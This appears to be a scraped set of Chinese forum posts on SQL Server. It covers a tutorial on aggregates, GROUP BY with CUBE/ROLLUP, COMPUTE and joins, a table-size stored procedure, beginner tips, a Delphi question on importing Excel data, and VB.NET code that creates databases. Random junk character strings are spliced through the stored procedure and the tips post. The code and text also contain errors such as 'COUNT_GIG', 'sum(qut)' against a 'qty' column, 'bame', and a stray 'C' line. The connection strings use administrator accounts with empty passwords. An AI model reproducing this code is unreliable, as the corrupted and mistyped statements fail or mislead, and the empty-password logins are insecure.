    CUBE或ROLLUP運算符。這兩者均是SELECT語句的GROUP BY子句的一部分。
    COMPUTE或COMPUTE BY運算符。這兩者也與GROUP BY相關(guān)聯(lián)。
下面介紹使用生成匯總報表的語句。
a.聚合函數(shù)
數(shù)據(jù)庫的一個最大的特點是將各種分散的數(shù)據(jù)按照一定規(guī)律、條件進(jìn)行分類組合,最后得出統(tǒng)計結(jié)果。SQL Server提供了聚合函數(shù),用于完成一定的統(tǒng)計功能。常用的函數(shù)如下表:
AVG:求平均值
COUNT:返回組中項目的數(shù)量,返回值為int類型
COUNT_GIG:返回組中項目的數(shù)量,返回值為bigint類型
MAX:求最大值
MIN:求最小值
SUM:求和
STDEV:計算統(tǒng)計標(biāo)準(zhǔn)偏差
VAR:統(tǒng)計方差
VARP: 填充統(tǒng)計方差
聚合函數(shù)對一組值計算并返回單一的值。除COUNT外,聚合函數(shù)忽略空值。聚合函數(shù)僅在下列項中允許作為表達(dá)式使用:
    SELECT語句的選擇列表(子查詢或外部查詢)
    COMPUTE或COMPUTE BY子句
    HAVING子句
如:
USE bookdb
GO
SELECT COUNT(address) FROM authors
GO
執(zhí)行結(jié)果:2
USE bookdb
GO
SELECT MAX(price) FROM book
GO
執(zhí)行結(jié)果:45.0
b.GROUP BY子句
GROUP BY子句用來為結(jié)果集中的每一行產(chǎn)生聚合值,即對結(jié)果集進(jìn)行分組。如果聚合函數(shù)沒有使用此子句,則只為SELECT語句報告一個聚合值。指定GROUP BY時,選擇列表中任一非聚合表達(dá)式內(nèi)的所有列都應(yīng)包含在GROUP BY列表中,或者GROUP BY表達(dá)式必須與選擇列表表達(dá)式完全匹配。
GROUP BY語法格式:
[GROUP BY [ALL]group_by_expression[,...n]
[WITH {CUBE | ROLLUP} ]
]
參數(shù)說明:
    ALL:表示對所有列和結(jié)果集(包括不滿足WHERE子句的列)進(jìn)行分組。但是ALL關(guān)鍵字不支持遠(yuǎn)程表查詢。對組中不滿足搜索條件的匯總列將返回空值。
    group_by_expression:對其執(zhí)行分組的表達(dá)式,也稱為分組列。在選擇列表內(nèi)定義的列的別名不能用于指定分組列;text、ntext和image類型的列不能用于分組列。
    CUBE:指定在結(jié)果集內(nèi)不僅包含由GROUP BY提供的正常行,還包含匯總行。創(chuàng)建所有可能的分組,然后對這些組進(jìn)行合計。
    ROLLUP:指定在結(jié)果集內(nèi)不僅包含由GROUP BY提供的正常行,還包含匯總行。從最低到最高進(jìn)行分組,然后對這些組進(jìn)行合計。
注意:使用CUBE或ROLLUP時,不支持區(qū)分合計,如AVG(DISTINCT column_name)、COUNT(DISTINCT column_name)和SUM(DISTINCT column_name)。如果使用這類聚合,SQL Server將返回錯誤信息并取消查詢。
例:表a2如下:
No name coop qty
---------------------
1 c1 mac1 1.0
2 c2 mac2 2.0
3 c1 mac2 3.0
4 c3 mac1 4.0
5 c2 mac1 5.0
6 c1 mac2 6.0
(6 row(s) affected)

執(zhí)行語句:
select name,coop,sum(qut) as sumqut from a2 group by name,coop with cube
name  coop sumqut
-------------------------
c1    mac1 1.0
c1    mac2 9.0
c1    NULL 10.0       //前面二行的匯總
c2    mac1 5.0
c2    mac2 2.0
c2    NULL 7.0       //前面二行的匯總
c3    mac1 4.0
c3    NULL 4.0       //前面一行的匯總
NULL  NULL 21.0      //前面各行的匯總
NULL  mac1 10.0    //前面所有mac1的匯總
NULL  mac2 11.0    //前面所有mac2的匯總
(11 row(s) affected)
使用CUBE可以計算NAME字段中及其所有客戶(以NULL表示)分別訂購的總量,還會統(tǒng)計字段中各種品種的訂購總量。
ROLLUP參數(shù)則會依據(jù)GROUP BY后面所列第一個字段作匯總運算。
如執(zhí)行語句:
select name,coop,sum(qut) as sumqut from a2 group by name,coop with rollup
name coop sumqut
--------------------
c1 mac1 1.0
c1 mac2 9.0
c1 NULL 10.0      //前面二行的匯總
c2 mac1 5.0
c2 mac2 2.0
c2 NULL 7.0      //前面二行的匯總
c3 mac1 4.0
c3 NULL 4.0      //前面一行的匯總
NULL NULL 21.0      //前面各行的匯總
(9 row(s) affected)
c.HAVING子句
HAVING子句指定或合計的搜索條件,HAVING通常與GROUP BY子句一起使用。如果不使用GROUP BY子句,HAVING的作用與WHERE子句一樣。但是聚合函數(shù)可以在HAVING子句中使用,而不能在WHERE子句中使用。
語法格式為:[HAVING <search_condition>]
其中<search_condition>指定組或聚合應(yīng)滿足的條件。當(dāng)HAVING與GROUP BY ALL一起使用時,HAVING子句替代ALL。
注意:在HAVING子句中不能使用text、image和ntext數(shù)據(jù)類型。另外,在SELECT語句中使用HAVING子句不影響CUBE運算符分組結(jié)果集和返回匯總局聚合行的方式。
如:
select bame,coop,sum(qty) from a2 group by name,coop with cube having sum(qty)>3
d.COMPUTE和COMPUTE BY子句
SQL Server2000提供COMPUTE和COMPUTE BY是為了保持向后兼容。如果不考慮兼容的問題,則應(yīng)使用Analysis Services和用于Analysis Services的OLE DB或多維的ActiveX數(shù)據(jù)對象或ROLLUP運算符。
語法格式如下:
[COMPUTE aggregate_func(column_name),[...n] [BY column_name]...]
其中:
    aggregate_func:為上面的聚合函數(shù)之一,如果沒有,則等同于COUNT(*)函數(shù)。
    column_name:對其執(zhí)行計算的列名,且在選擇列表中出現(xiàn)。
如果使用COMPUTE BY,則必須使用ORDER BY子句。
例1:select * from a2 compute sum(qty)
No name coop qty
---------------------------------------------------
1 c1 mac1 1.0
2 c2 mac2 2.0
3 c1 mac2 3.0
4 c3 mac1 4.0
5 c2 mac1 5.0
6 c1 mac2 6.0
sum
=====================================================
21.0
例2:select * from a2 order by name compute sum(qty) by name
由上面的結(jié)果可以看到,COMPUTE所生成的匯總值在查詢結(jié)果中顯示為分離的結(jié)果集。包括COMPUTE子句的查詢結(jié)果類似于控制中斷報表,即匯總值由指定的組(或稱中斷)控制的報表。可以為各組生成匯總值,也可以對同一組計算多個聚合函數(shù)。如在例2中的計算子句中加入,avg(qty),sum(no)等。
例:顯示含有年初至今銷售額的行,然后按type以遞減順序計算書籍的平均價格和預(yù)付款總額。將返回四個數(shù)據(jù)列,包括截斷的書名。所有的計算列都將出現(xiàn)在選擇列表內(nèi)。
程序清單如下:
USE pubs
SELECT CAST(title AS char(20)) AS title,type,price,advance FROM titles
WHERE ytd_sales IS NOT NULL
ORDER BY type DESC
COMPUTE AVG(price),SUM(advance) BY type
COMPUTE SUM(price),SUM(advance)
COMPUTE與GROUP BY的區(qū)別
    GROUP BY生成單個結(jié)果集。每個組都有一個只包含分組依據(jù)列和顯示該組子聚合的聚合函數(shù)的行。選擇列表只能包含分組依據(jù)列和聚合函數(shù)。
    COMPUTE生成多個結(jié)果集。一類結(jié)果集包含每個組的明細(xì)行,其中包含選擇列表中的表達(dá)式。另一類結(jié)果集包含組的子聚合,或SELECT語句的總聚合。選擇列表可包含除分組依據(jù)列或聚合函數(shù)之外的其他表達(dá)式。聚合函數(shù)在COMPUTE子句中指定,而不是在選擇列表中。
e.聯(lián)接查詢
通過聯(lián)接,可以根據(jù)各個表之間的邏輯關(guān)系從兩個或多個表中檢索數(shù)據(jù)。聯(lián)接表示系統(tǒng)應(yīng)如何使用一個表中的數(shù)據(jù)來選擇另一個表中的行。
聯(lián)接條件通過以下方法定義兩個表在查詢中的關(guān)聯(lián)方式:
    指定每個表中要用于聯(lián)接的列。典型的聯(lián)接條件在一個表中指定外鍵,在另一個表中指定與其關(guān)聯(lián)的健。
    指定比較各列的值時要使用的邏輯運算符(=、<>等)。
可在FROM或WHERE子句中指定聯(lián)接。聯(lián)接條件與WHERE和HAVING搜索條件組合,用于控制FROM子句引用的基表中所選定的行。
簡單的子句聯(lián)接語法如下:
FROM first_table join_tye second_table [ON(join_condition)]
其中join_tye指定所執(zhí)行的聯(lián)接類型,有內(nèi)聯(lián)接、外聯(lián)接或交叉聯(lián)接。join_condition定義要為每對聯(lián)接折行選取的謂詞。
例:與外健表相聯(lián)接。
   
        
            
            
設(shè)表student為:
            
no   name   addr   t_no
            -----------------------
            001   s1    sss    501
            002   s2    ttt    502
            003   s3    uuu    501
            004   s4    vvv    503
            005   s5    www    602
            006   s6    xxx    601
            
            
            
設(shè)表teacher為:
            
no   name   sala
            -----------------------
            501   t1    100
            502   t2    200
            503   t3    300
            504   t4    400
            505   t5    500
            506   t6    600
            
        
   

select a.no,a.name,a.addr,b.name from student a join teacher b on(a.t_no=b.no)
no   name   addr   name
-----------------------
001   s1    sss    t1
002   s2    ttt    t2
003   s3    uuu    t1
004   s4    vvv    t3

(4 row(s) affected)
    內(nèi)聯(lián)接
內(nèi)聯(lián)接是用比較運算符比較要聯(lián)接列的值的聯(lián)接。內(nèi)聯(lián)接使用INNER JOIN關(guān)鍵詞,上面的查詢也可以使用下面語句完成:
select a.no,a.name,a.addr,b.name from student a inner join teacher b on(a.t_no=b.no)
一般地,要做內(nèi)聯(lián)接的兩個或多個表之間若存在著主鍵盤和外鍵的關(guān)系時,將這些鍵的關(guān)系列出即可得到表的聯(lián)接結(jié)果。
    外聯(lián)接
僅當(dāng)至少有一個同屬于兩個表的行符合聯(lián)接條件時,內(nèi)聯(lián)接才返回行。因此內(nèi)聯(lián)接消除與另一表中的任何不匹配的行。而外聯(lián)接會返回FROM子句中提到的至少一個表或視圖的所有行,只要這些行符合任何WHERE或HAVING搜索條件。將檢索通過左向外聯(lián)接引用的左表的所有行,以及通過右向外聯(lián)接引用的右表的所有行。完整外部聯(lián)接中兩個表的所有行都將返回。
系統(tǒng)對在FROM子句中指定的外聯(lián)接使用以下關(guān)鍵字:
LEFT OUTER JOIN或LEFT JOIN(左向外聯(lián)接)
RIGHT OUTER JOIN或RIGHT JOIN(右向外聯(lián)接)
FULL OUTER JOIN或FULL JOIN(完整外部聯(lián)接)
左向外聯(lián)接:包括第一個表(左表,在JOIN子句的左邊)中的所有行,不包括右表中不匹配的行。
如由上面的表student和teacher,執(zhí)行:
]]>
獲取SQL Server數(shù)據(jù)庫里表占用容量大小http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2519&Page=1wangxinxin2010-12-13 13:02:133 U% E8 y1 T) I$ O# N  $ I4 B' F7 G  Z* ]! [
  如:sp_spaceused 'tablename'7 t0 P- Y! g# Q  l( z6 V+ t+ t
  
( F! n! ?; w# ?+ w  以下是為了方便寫的一個存儲過程,目的是把當(dāng)前的所有表的相關(guān)信息全部都保存在一個指定的表里面
4 |' |* @8 n& m+ R' S+ H  . G9 S- j2 E- }( T
  CREATE PROCEDURE get_tableinfo AS0 ~: d% ^: x( @: `& ~2 n) R% }3 y7 y
  
2 I- l$ @4 T. b1 a0 X0 P7 n, U  if not exists (select * from dbo.sysobjects where id =object_id(N'[dbo].[tablespaceinfo]') and OBJECTPROPERTY(id,N'IsUserTable') = 1)6 r5 P: p0 T) z6 ]1 e2 ~
  create table tablespaceinfo             --創(chuàng)建結(jié)果存儲表1 m- M6 q6 V" v( t8 ~/ p
  (nameinfo varchar(50) ,
4 @# X2 M4 X0 ?) ~# }# L  B, x  rowsinfo int , reserved varchar(20) ,# q6 R; u6 X' M2 p0 F+ o
  datainfo varchar(20) ,9 {. `# X" Q- C* }( e
  index_size varchar(20) ,
% _9 O& v5 r7 u; q4 L7 Y  G  unused varchar(20) )
) b/ K4 J8 \& X; P; W5 L  + }& f3 b6 S8 i
  delete from tablespaceinfo --清空數(shù)據(jù)表: {* Q5 K1 U; h) i* H6 Z: n9 l
  
9 f7 s6 y6 x/ n9 F/ D2 M% n/ J  declare @tablename varchar(255) --表名稱
  V$ C& u& G$ Q! w, L/ J' O/ k  
: Z( b8 T4 @5 B5 a; i  declare @cmdsql varchar(500)
4 W3 _, L# L; F8 q( ~( W  
  J% j5 r. E, x' V  DECLARE Info_cursor CURSOR FOR
% |, _) c/ l+ Y) p$ T0 O  select o.name$ g9 c; ~) Q/ |" v
  from dbo.sysobjects o where OBJECTPROPERTY(o.id, N'IsTable') = 1
1 ?5 p) X& B( d" z6 C  J  and o.name not like N'#%%' order by o.name
# b, J1 ^* ]6 [  , A; F1 u+ @$ Y# n! {+ ]  a/ i/ w
  OPEN Info_cursor
. ?9 |7 x; _2 c+ K2 ]. S4 \    k3 @/ H8 C  f. m) U
  FETCH NEXT FROM Info_cursor
1 T+ d- U- U  D! J! K+ g! i  INTO @tablename
* t7 I' M+ s  e9 t- r  
0 t3 y* A% q* {, j! I) Y4 e/ m  WHILE @@FETCH_STATUS = 0
/ X1 L/ _$ L7 j2 Q  BEGIN; a$ p* @) ]$ Z$ \6 N3 _, O
  
0 C) E# b6 V5 x: a1 {; I) H  if exists (select * from dbo.sysobjects where id = object_id(@tablename) and OBJECTPROPERTY(id, N'IsUserTable') = 1)+ x0 P) `& A8 F. f
  execute sp_executesql+ S% ?9 T' Z" _, C
  N'insert into tablespaceinfo exec sp_spaceused @tbname',9 p  h4 n) g0 L% i: ?
  N'@tbname varchar(255)',) n( _! ?5 g% }4 b0 }6 n, c
  @tbname = @tablename/ V$ b3 f0 q. i3 I/ ~
  * @" Q# O4 o0 P6 ]) s" U3 i
  FETCH NEXT FROM Info_cursor" z% K3 O3 D$ n) J; A4 k+ p% X
  INTO @tablename
2 a, w* c- b' o  END
. r! Q4 {( O) \  2 \: [4 R* b6 P* Q) z$ Q7 B' K  ?9 a2 l
  CLOSE Info_cursor
" L$ l9 f4 H  p7 [& f9 [8 z$ Y  DEALLOCATE Info_cursor  P4 U/ H% M7 e1 U8 v* a. B
  GO+ x! `/ L+ l4 q7 M9 Q. F4 m9 B
  * k* S8 B: \# R0 n1 H9 E
  執(zhí)行存儲過程
; o' F) N2 B& b% `8 K8 Q  : z$ h1 y8 |2 l, q( v& y( ~/ M$ y
  exec get_tableinfo
9 [! J0 Z) U( r9 d5 ^- y  * A, h- `1 K/ N/ i; \  U, {
  查詢運行該存儲過程后得到的結(jié)果
" ~% O5 Q$ p( N+ I; z  ' @, R3 b6 M8 |% o8 @
  select *
" x) R3 A8 Q8 |3 d) W' E8 \. S  from tablespaceinfo: p+ S, ~! T" S8 D
  order by cast(left(ltrim(rtrim(reserved)) , len(ltrim(rtrim(reserved)))-2) as int) desc* C6 A. s3 a' r4 I2 }+ X
   $ g+ Y; ~4 s* w8 y

圖片點擊可在新窗口打開查看

]]>
新手學(xué)習(xí)SQL Server 2005的技巧和推薦書籍http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2518&Page=1wangxinxin2010-12-13 12:49:24
新手學(xué)習(xí)SQL Server 2005的技巧和推薦書籍    SQL Server 2005是當(dāng)前應(yīng)用最廣泛的數(shù)據(jù)庫,雖然很多地方不一定非要使用SQL數(shù)據(jù)庫,但為了將來程序的擴(kuò)展,也必須適用,/ [' Q2 ]6 q6 Y5 q4 m' N1 R9 a% R
這就有一定的資源浪費了.因為大多數(shù)公司都使用SQL Server數(shù)據(jù)庫,所以為了讓大家更入門,特地總結(jié)了幾點技巧.5 L1 V% K# a& D) D
    (1)安裝在兩臺機(jī)器上,一臺機(jī)器作為服務(wù)器,一臺作為客戶端機(jī)器.雖然這很簡單,但一定要知道,如何連接服務(wù)器,進(jìn)行數(shù)據(jù)交互,7 I) |* v' S, k5 h
還要知識數(shù)據(jù)服務(wù)器的工作原理.- I0 x9 X& b4 F
    (2)學(xué)習(xí)基本的SQL語句,這很關(guān)鍵,因為語句你不會,光會使用鼠標(biāo),那樣是無法結(jié)合程序來編寫數(shù)據(jù)訪問應(yīng)用的.2 Z' d$ L- [% s' z! p
    (3)數(shù)據(jù)庫能保存的數(shù)據(jù)類型,呵呵,這個很基礎(chǔ),但很關(guān)鍵,如圖片,你說在數(shù)據(jù)庫中怎么保存呢?  G' B  k/ Q) H
    (4)聽說過XML嗎,知道它和SQL Server 2005數(shù)據(jù)庫有什么關(guān)系嗎??看書了解詳細(xì)內(nèi)容吧,Web 2.0時代的關(guān)鍵技術(shù),不會就回到上世紀(jì)了.# b5 X- @$ e7 u
    (5)存儲過程\觸發(fā)器\事務(wù),這些基礎(chǔ)一定要掌握,而且會寫基本的小型存儲過程,不要以自己是初學(xué)者為借口,初學(xué)者可以學(xué)習(xí)簡單內(nèi)容的,* e0 M5 j, U+ c! o! w8 c, z' \8 U; `
這是招聘必考內(nèi)容.
# x+ g$ u  M2 S! \9 I    (6)多看書,多動手,多去論壇,多問同事,多自己設(shè)計數(shù)據(jù)庫.不怕做多錯多,就怕不做.
; T; m6 x. q3 {( j    看書是對知識的一種吸收過程,初學(xué)者一定要完完整整的看過一本書,第一次最好從入門書開始.最后看了一些國外和國內(nèi)的入門書籍,
8 ?) h0 ~! K) W9 D) v& x推薦兩本給讀者,自己選擇了..
  r) }. @& t- V    (1)零基礎(chǔ)學(xué)SQL Server 2005
8 l$ n% r( D! D3 |- |8 q       是目前最簡單的一本入門書,講解的知識點很多很細(xì),比較適合自學(xué)和初學(xué)的人,對于目前比較流行的xml技術(shù)也介紹詳細(xì),最后還提供4 R! v+ N& Z8 }$ R
了在.NET下開發(fā)的實例.初學(xué)者可以從理論到學(xué)習(xí),到親自動手實踐,編排的不錯,適合國內(nèi)的初學(xué)者看.茹果看完書有點迷糊,本書還有培訓(xùn)課程,
7 m) b1 Q1 H; g/ V+ X# x不知道效果如何,大家可以44.- X- C8 X! H4 Q% `. a0 P
    (2)精通SQL SERVER 2005程序設(shè)計1 t8 v: I* p9 s3 p8 _
       是國外的書,屬于經(jīng)典系列,適合初級\中級\高級讀者,知識點詳細(xì),內(nèi)容豐富,是一本好的學(xué)習(xí)書和參考書,價格比較貴.& Y5 J4 l0 j3 C' w: q$ Q$ S+ i
    學(xué)習(xí)一門語言或技術(shù)的流程比較簡單,入門者注意了.(1)仔細(xì)看入門書(2)親自動手實踐(3)在單位的項目中實踐,不段提出問題解決問題.
0 C- b0 q9 V1 c6 W 3步就能學(xué)會SQL Server 嗎?自己試試就知道了.

TOP

]]>
關(guān)于“EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER2000”的技術(shù)討論!http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2517&Page=1wangxinxin2010-12-13 12:42:12在用DELPHI 7編程實現(xiàn)"EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER 2000"時提示:
“已拒絕OLE DB提供程序‘Microsoft.Jet.OLEDB.4.0’的特殊訪問,必須通過鏈接服務(wù)器來訪問此提供程序。”
2.現(xiàn)狀:
   A:MS SQL SERVER 2000數(shù)據(jù)導(dǎo)入EXCEL程序如下:  -----程序運行是成功的!
   第一:連接數(shù)據(jù)庫:Provider=Microsoft.Jet.OLEDB.4.0;Data Source=e:\chengji.xls;Extended Properties=excel 8.0
   第二:導(dǎo)入數(shù)據(jù):SELECT bianhao,yuwen into cj_yuwen  FROM a_chengji IN [ODBC][ODBC;Driver=SQL   server;UID=sys;PWD=;Server=YUAN;DataBase=tbms;]
    說明:將a_chengji表中的bianhao,yuwen列的數(shù)據(jù)導(dǎo)出到e:\chengji.xls的cj_yuwen工作表中.
   B:在MS SQL SERVER 2000查詢分析器執(zhí)行如下命令:  ----命令運行是成功的!
    insert into a_chengji (bianhao,yuwen,shuxue,yingyu) select bianhao,yuwen,shuxue,yingyu FROM OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="e:\chengji.xls";Extended Properties="Excel 8.0;HDR=Yes;";Persist Security Info=False')...chengji$
    說明: 將e:\chengji.xls的chengji工作表中bianhao,yuwen,shuxue,yingyu列的數(shù)據(jù)導(dǎo)出到a_chengji表的bianhao,yuwen,shuxue,yingyu列中.
   C:在DELPHI 7編程實現(xiàn)"EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER 2000":
  procedure Tf_chengji.BitBtn1Click(Sender: TObject);  
  var
  s_sql:string;
  begin
    s_sql:'insert into a_chengji (bianhao,yuwen,shuxue,yingyu) select bianhao,yuwen,shuxue,yingyu FROM OpenDataSource    ('''+'Microsoft.Jet.OLEDB.4.0'+''''+ ','+''''+'Data Source="'+'e:\chengji.xls'+'";Extended Properties="Excel     8.0;HDR=Yes;";Persist Security Info=False'+''''+')...chengji$';
    ADOConnection1.Connected:=false;
    ADOConnection1.ConnectionString:='Provider=SQLOLEDB.1;Persist Security Info=false;User ID=sys;Initial Catalog=tbms';
    ADOConnection1.Connected:=true;
    ADOConnection1.Execute(s_sql);
  end;
  說明:MS SQL SERVER 2000本地數(shù)據(jù)庫tbms,用戶名:sys,密碼:無。
  運行時,提示:
  “已拒絕OLE DB提供程序‘Microsoft.Jet.OLEDB.4.0’的特殊訪問,必須通過鏈接服務(wù)器來訪問此提供程序。”
3.分析:
  A和B的運行成功,說明MS SQL SERVER 2000和EXCEL是正常的,我們排除了MS SQL SERVER 2000和EXCEL異常的可能性。問題就出在DELPHI 7的程序上,B中命令運行成功,說明C中的s_sql語句是正確的,問題就應(yīng)該在“鏈接服務(wù)器”上。
4.解決方案:
  A:找出被拒絕特殊訪問的原因,從而解決此問題:“通過對TADOConnection控件ADOConnection1的屬性設(shè)置”。
  B:新建“鏈接服務(wù)器”,從而訪問此提供程序:
     sp_addlinkedserver N'Excel', N'Jet 4.0',
                   N'Microsoft.Jet.OLEDB.4.0',
                   N'e:\chengji.xls', NULL, N'Excel 5.0'
     GO
     exec sp_addlinkedsrvlogin N'Excel', false, sa, N'ADMIN', NULL
     可我在查詢其chengji數(shù)據(jù)時:提示說找不到chengji表,或用戶名不具備訪問權(quán)限!
     SELECT * FROM EXCEL...chengji
5.新問題:
A:如何設(shè)置TADOConnection控件ADOConnection1的屬性設(shè)置,以解決其被拒絕???
B:如何編寫sp_addlinkedsrvlogin,以使“用戶名:sys,密碼:無”有權(quán)限????
C: 如果用sp_addlinkedserver建立新鏈接服務(wù)器,又應(yīng)該如何在DELPHI 7編程實現(xiàn)"EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER 2000"???]]>
動態(tài)創(chuàng)建SQL Server數(shù)據(jù)庫、表、存儲過程等架構(gòu)信息http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2516&Page=1wangxinxin2010-12-13 12:35:44------2003-9-4 12:59:31  


-------------------------------------------------------www.csdn.net

關(guān)鍵字     Sql Server,數(shù)據(jù)庫,創(chuàng)建
  
作者: 孟憲會 出自: 【孟憲會之精彩世界】 發(fā)布日期: 2003-8-17 23:34:35

下面是利用SQL語句創(chuàng)建數(shù)據(jù)庫、表、存儲過程、視圖、索引、規(guī)則、修改表、查看數(shù)據(jù)等的方法。所要增加的控件如下:

http://www.csdn.net/Develop/Arti ... 003-8-181234011.gif

Imports System.Data
Imports System.Data.SqlClient

Public Class Form1
  Inherits System.Windows.Forms.Form
  Private ConnectionString As String = "Data Source=.;Initial Catalog=;User Id=sa;Password=;"
  Private reader As SqlDataReader = Nothing
  Private conn As SqlConnection = Nothing
  Private cmd As SqlCommand = Nothing
  Private AlterTableBtn As System.Windows.Forms.Button
  Private sql As String = Nothing
  Private CreateOthersBtn As System.Windows.Forms.Button

#Region " Windows 窗體設(shè)計器生成的代碼 "
  '窗體重寫處置以清理組件列表。
  Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
    If disposing Then
      If Not (components Is Nothing) Then
        components.Dispose()
      End If
    End If
    MyBase.Dispose(disposing)
  End Sub
  Public Sub New()
    MyBase.New()
    InitializeComponent()
  End Sub
  Private components As System.ComponentModel.IContainer
  Friend WithEvents DataGrid1 As System.Windows.Forms.DataGrid
  Friend WithEvents CreateDBBtn As System.Windows.Forms.Button
  Friend WithEvents CreateTableBtn As System.Windows.Forms.Button
  Friend WithEvents CreateSPBtn As System.Windows.Forms.Button
  Friend WithEvents CreateViewBtn As System.Windows.Forms.Button
  Friend WithEvents btnAlterTable As System.Windows.Forms.Button
  Friend WithEvents btnCreateOthers As System.Windows.Forms.Button
  Friend WithEvents btnDropTable As System.Windows.Forms.Button
  Friend WithEvents btnViewData As System.Windows.Forms.Button
  Friend WithEvents btnViewSP As System.Windows.Forms.Button
  Friend WithEvents btnViewView As System.Windows.Forms.Button
  <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
    Me.CreateDBBtn = New System.Windows.Forms.Button()
    Me.CreateTableBtn = New System.Windows.Forms.Button()
    Me.CreateSPBtn = New System.Windows.Forms.Button()
    Me.CreateViewBtn = New System.Windows.Forms.Button()
    Me.btnAlterTable = New System.Windows.Forms.Button()
    Me.btnCreateOthers = New System.Windows.Forms.Button()
    Me.btnDropTable = New System.Windows.Forms.Button()
    Me.btnViewData = New System.Windows.Forms.Button()
    Me.btnViewSP = New System.Windows.Forms.Button()
    Me.btnViewView = New System.Windows.Forms.Button()
    Me.DataGrid1 = New System.Windows.Forms.DataGrid()
    CType(Me.DataGrid1, System.ComponentModel.ISupportInitialize).BeginInit()
    Me.SuspendLayout()
    '
    'CreateDBBtn
    '
    Me.CreateDBBtn.Location = New System.Drawing.Point(19, 9)
    Me.CreateDBBtn.Name = "CreateDBBtn"
    Me.CreateDBBtn.Size = New System.Drawing.Size(104, 23)
    Me.CreateDBBtn.TabIndex = 0
    Me.CreateDBBtn.Text = "創(chuàng)建數(shù)據(jù)庫"
    '
    'CreateTableBtn
    '
    Me.CreateTableBtn.Location = New System.Drawing.Point(139, 9)
    Me.CreateTableBtn.Name = "CreateTableBtn"
    Me.CreateTableBtn.TabIndex = 1
    Me.CreateTableBtn.Text = "創(chuàng)建表"
    '
    'CreateSPBtn
    '
    Me.CreateSPBtn.Location = New System.Drawing.Point(230, 9)
    Me.CreateSPBtn.Name = "CreateSPBtn"
    Me.CreateSPBtn.Size = New System.Drawing.Size(104, 23)
    Me.CreateSPBtn.TabIndex = 2
    Me.CreateSPBtn.Text = "創(chuàng)建存儲過程"
    '
    'CreateViewBtn
    '
    Me.CreateViewBtn.Location = New System.Drawing.Point(350, 9)
    Me.CreateViewBtn.Name = "CreateViewBtn"
    Me.CreateViewBtn.TabIndex = 3
    Me.CreateViewBtn.Text = "創(chuàng)建視圖"
    '
    'btnAlterTable
    '
    Me.btnAlterTable.Location = New System.Drawing.Point(441, 9)
    Me.btnAlterTable.Name = "btnAlterTable"
    Me.btnAlterTable.TabIndex = 4
    Me.btnAlterTable.Text = "修改表"
    '
    'btnCreateOthers
    '
    Me.btnCreateOthers.Location = New System.Drawing.Point(17, 43)
    Me.btnCreateOthers.Name = "btnCreateOthers"
    Me.btnCreateOthers.Size = New System.Drawing.Size(104, 23)
    Me.btnCreateOthers.TabIndex = 5
    Me.btnCreateOthers.Text = "創(chuàng)建規(guī)則和索引"
    '
    'btnDropTable
    '
    Me.btnDropTable.Location = New System.Drawing.Point(138, 43)
    Me.btnDropTable.Name = "btnDropTable"
    Me.btnDropTable.TabIndex = 6
    Me.btnDropTable.Text = "刪除表"
    '
    'btnViewData
    '
    Me.btnViewData.Location = New System.Drawing.Point(351, 43)
    Me.btnViewData.Name = "btnViewData"
    Me.btnViewData.TabIndex = 7
    Me.btnViewData.Text = "查看數(shù)據(jù)"
    '
    'btnViewSP
    '
    Me.btnViewSP.Location = New System.Drawing.Point(230, 43)
    Me.btnViewSP.Name = "btnViewSP"
    Me.btnViewSP.Size = New System.Drawing.Size(104, 23)
    Me.btnViewSP.TabIndex = 8
    Me.btnViewSP.Text = "查看存儲過程"
    '
    'btnViewView
    '
    Me.btnViewView.Location = New System.Drawing.Point(443, 43)
    Me.btnViewView.Name = "btnViewView"
    Me.btnViewView.TabIndex = 9
    Me.btnViewView.Text = "查看視圖"
    '
    'DataGrid1
    '
    Me.DataGrid1.DataMember = ""
    Me.DataGrid1.HeaderForeColor = System.Drawing.SystemColors.ControlText
    Me.DataGrid1.Location = New System.Drawing.Point(20, 76)
    Me.DataGrid1.Name = "DataGrid1"
    Me.DataGrid1.Size = New System.Drawing.Size(500, 183)
    Me.DataGrid1.TabIndex = 10
    '
    'Form1
    '
    Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
    Me.ClientSize = New System.Drawing.Size(538, 281)
    Me.Controls.AddRange(New System.Windows.Forms.Control() {Me.DataGrid1, Me.btnViewView, _
              Me.btnViewSP, Me.btnViewData, Me.btnDropTable, Me.btnCreateOthers, Me.btnAlterTable, _
              Me.CreateViewBtn, Me.CreateSPBtn, Me.CreateTableBtn, Me.CreateDBBtn})
    Me.Name = "Form1"
    Me.Text = "動態(tài)創(chuàng)建SQL Server數(shù)據(jù)庫、表、存儲過程等架構(gòu)信息"
    CType(Me.DataGrid1, System.ComponentModel.ISupportInitialize).EndInit()
    Me.ResumeLayout(False)

  End Sub

#End Region

  ' 創(chuàng)建數(shù)據(jù)庫
  Private Sub CreateDBBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateDBBtn.Click
    conn = New SqlConnection(ConnectionString)
    ' 打開連接
    If conn.State <> ConnectionState.Open Then
      conn.Open()
    End If
    'MyDataBase為數(shù)據(jù)庫名稱
    Dim sql As String = "CREATE DATABASE MyDataBase ON PRIMARY (Name=MyDataBase_data, filename = " + _
        "'D:\MyDataBase.mdf', size=3," + "maxsize=5, filegrowth=10%) log on" + "(name=MyDataBase_log, " + _
        "filename='D:\MyDataBase.ldf',size=3," + "maxsize=20,filegrowth=1)"
    cmd = New SqlCommand(sql, conn)
    Try
      cmd.ExecuteNonQuery()
    Catch ae As SqlException
      MessageBox.Show(ae.Message.ToString())
    End Try
  End Sub
  '創(chuàng)建表
  Private Sub CreateTableBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateTableBtn.Click
    conn = New SqlConnection(ConnectionString)
    ' 打開連接
    If conn.State = ConnectionState.Open Then
      conn.Close()
    End If
    C
    conn.ConnectionString = ConnectionString
    conn.Open()
    sql = "CREATE TABLE myTable" + "(myId INTEGER CONSTRAINT PKeyMyId PRIMARY KEY," + _
